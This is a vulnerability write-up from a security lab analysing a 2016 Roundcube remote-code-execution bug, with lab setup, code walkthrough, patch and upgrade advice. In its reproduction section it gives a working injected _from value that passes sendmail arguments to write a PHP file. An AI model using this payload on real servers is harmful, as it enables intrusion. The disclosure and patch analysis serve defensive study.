Author: p0wd3r, LG (知道創宇404安全實驗室)
Date: 2016-12-08
0x00 漏洞概述
1.漏洞簡介
著名的PHP代碼審計工具 RIPS 于12月6日發布了一份針對 Roundcube 的掃描報告,報告中提到了一個遠程命令執行漏洞,利用該漏洞攻擊者可以在授權狀態下執行任意代碼。官方已發布升級公告。
2.漏洞影響
觸發漏洞需滿足以下幾個前提:
- Roundcube 使用 PHP 的 mail 來發送郵件,而不通過其他 SMTP Server
- PHP 的 mail 使用 sendmail 來發送郵件(默認)
- PHP 的 safe_mode 是關閉的(默認)
- 攻擊者需要知道 Web 應用的絕對路徑
- 攻擊者可以登錄到 Roundcube 并可以發送郵件
成功攻擊后攻擊者可遠程執行任意代碼。
3.影響版本
1.1.x < 1.1.7
1.2.x < 1.2.3
0x01 漏洞復現
1. 環境搭建
Dockerfile:
FROM analogic/poste.io
RUN apt-get update && apt-get install -y sendmail
然后執行:
docker build -t webmail-test .
mkdir /tmp/data
docker run -p 25:25 -p 127.0.0.1:8080:80 -p 443:443 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 -p 995:995 -v /etc/localtime:/etc/localtime:ro -v /tmp/data:/data --name webmail --hostname xxx.xxx -t webmail-test
docker cp webmail:/opt/www/webmail/config/config.inc.php /tmp/config.inc.php
vim /tmp/config.inc.php
將 $config['smtp_server'] 置為空
docker cp /tmp/config.inc.php webmail:/opt/www/webmail/config/config.inc.php
然后訪問http://127.0.0.1:8080配置用戶名密碼,訪問 http://127.0.0.1:8080/webmail 即可
2.漏洞分析
首先看program/steps/mail/sendmail.inc第95-114行:
// Get sender name and address...
$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);
// ... from identity...
if (is_numeric($from)) {
...
}
// ... if there is no identity record, this might be a custom from
else if ($from_string = rcmail_email_input_format($from)) {
if (preg_match('/(\S+@\S+)/', $from_string, $m))
$from = trim($m[1], '<>');
else
$from = null;
}
這里取$_POST中的_from賦值給$from,如果$from不是數字就交給rcmail_email_input_format處理,處理后如果返回非空則再過濾$from,使其滿足正常 email 的形式。
我們看一下rcmail_email_input_format,在program/steps/mail/sendmail.inc第839-896行:
function rcmail_email_input_format($mailto, $count=false, $check=true)
{
global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
// simplified email regexp, supporting quoted local part
$email_regexp = '(\S+|("[^"]+"))@\S+';
$delim = trim($RCMAIL->config->get('recipients_separator', ','));
$regexp = array("/[,;$delim]\s*[\r\n]+/", '/[\r\n]+/', "/[,;$delim]\s*\$/m", '/;/', '/(\S{1})(<'.$email_regexp.'>)/U');
$replace = array($delim.' ', ', ', '', $delim, '\\1 \\2');
// replace new lines and strip ending ', ', make address input more valid
$mailto = trim(preg_replace($regexp, $replace, $mailto));
$items = rcube_utils::explode_quoted_string($delim, $mailto);
$result = array();
foreach ($items as $item) {
$item = trim($item);
// address in brackets without name (do nothing)
if (preg_match('/^<'.$email_regexp.'>$/', $item)) {
...
}
// address without brackets and without name (add brackets)
else if (preg_match('/^'.$email_regexp.'$/', $item)) {
...
}
// address with name (handle name)
else if (preg_match('/<*'.$email_regexp.'>*$/', $item, $matches)) {
...
}
else if (trim($item)) {
continue;
}
...
}
...
return implode(', ', $result);
}
foreach中的正則僅匹配正常的from格式,即xxx@xxx,如果匹配不到則continue,所以如果我們提交xxx@xxx -a -b這樣的“空格 + 數據”,函數最終并沒有對其進行改變,返回的$result也就是空了,進而執行完函數后不會再對$from進行過濾。
接下來在program/steps/mail/sendmail.inc第528行:
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto, $smtp_error, $mailbody_file, $smtp_opts);
$from被傳入了deliver_message中,在program/lib/Roundcube/rcube.php第1524-1678行:
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null)
{
// send thru SMTP server using custom SMTP library
if ($this->config->get('smtp_server')) {
...
}
// send mail using PHP's mail() function
else {
...
if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
$sent = mail($to, $subject, $msg_body, $header_str);
else
$sent = mail($to, $subject, $msg_body, $header_str, "-f$from");
}
}
...
}
可以看到當我們使用PHP的mail函數來發送郵件時$from會被拼接到mail的第五個參數中,這個參數的用處如下:

意思就是PHP的mail默認使用/usr/sbin/sendmail發送郵件(可在php.ini中設置),mail的第五個參數就是設置sendmail的額外參數。
sendmail有一個-X參數,該參數將郵件流量記錄在指定文件中:

所以到這里攻擊思路如下:
- 構造郵件內容為想要執行的代碼
- 點擊發送時抓包更改
_from sendmail將流量記錄到 php 文件中
實際操作一下:
首先登錄 Roundcube 并開始發送郵件:

點擊發送,截包修改:


其中將_from改成:example@example.com -OQueueDirectory=/tmp -X/path/rce.php,其中-X后的路徑需根據具體服務器情況來設置,默認 Roundcube 根目錄下temp/、logs/是可寫的。然后將_subject改成我們想要執行的代碼,這里是<?php phpinfo();?>。
請求有可能會超時,但是并不影響文件的寫入。
發送過后觸發漏洞:

3.補丁分析

使用escapeshellarg讓$from被解析為參數值,
0x02 修復方案
升級程序:https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released
0x03 參考
- https://www.seebug.org/vuldb/ssvid-92570
-
Roundcube 掃描報告:https://blog.ripstech.com/2016/roundcube-command-execution-via-email/
-
PHP 的 mail 函數:http://php.net/manual/zh/function.mail.php
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/138/